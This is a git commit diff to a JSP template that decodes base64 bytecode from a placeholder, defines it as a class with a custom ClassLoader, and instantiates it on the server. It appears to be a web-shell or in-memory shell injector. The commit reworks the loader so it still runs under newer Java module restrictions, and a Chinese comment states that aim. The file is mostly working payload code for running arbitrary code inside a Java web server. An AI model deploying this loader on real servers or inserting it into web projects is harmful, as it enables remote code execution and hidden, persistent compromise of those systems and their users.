fix: jsp execute fail in module system

This commit is contained in:
ReaJason
2024-12-14 16:56:53 +08:00
parent 800932118e
commit 1987142a48
+20 -11
View File
@@ -1,10 +1,9 @@
<%@ page import="java.lang.Class" %>
<%@ page import="java.lang.ClassLoader" %>
<%@ page import="java.lang.Exception" %>
<%@ page import="java.lang.Object" %>
<%@ page import="java.lang.String" %>
<%@ page import="java.lang.Thread" %>
<%! <%!
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
}
public byte[] decodeBase64(String bytecodeBase64) { public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try { try {
@@ -21,9 +20,13 @@
} }
} }
} }
%>
<% public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}"; String className = "{{className}}";
String base64Str = "{{base64Str}}"; String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
@@ -31,12 +34,18 @@
classLoader.loadClass(className).newInstance(); classLoader.loadClass(className).newInstance();
} catch (Exception e) { } catch (Exception e) {
try { try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytecode = decodeBase64(base64Str); byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); // 不弄反射啦,以免高版本这儿报 module 限制
Class<?> clazz = defineClass(bytecode);
clazz.newInstance(); clazz.newInstance();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
return className;
}
}
%>
<%
new ClassDefiner().toString();
%> %>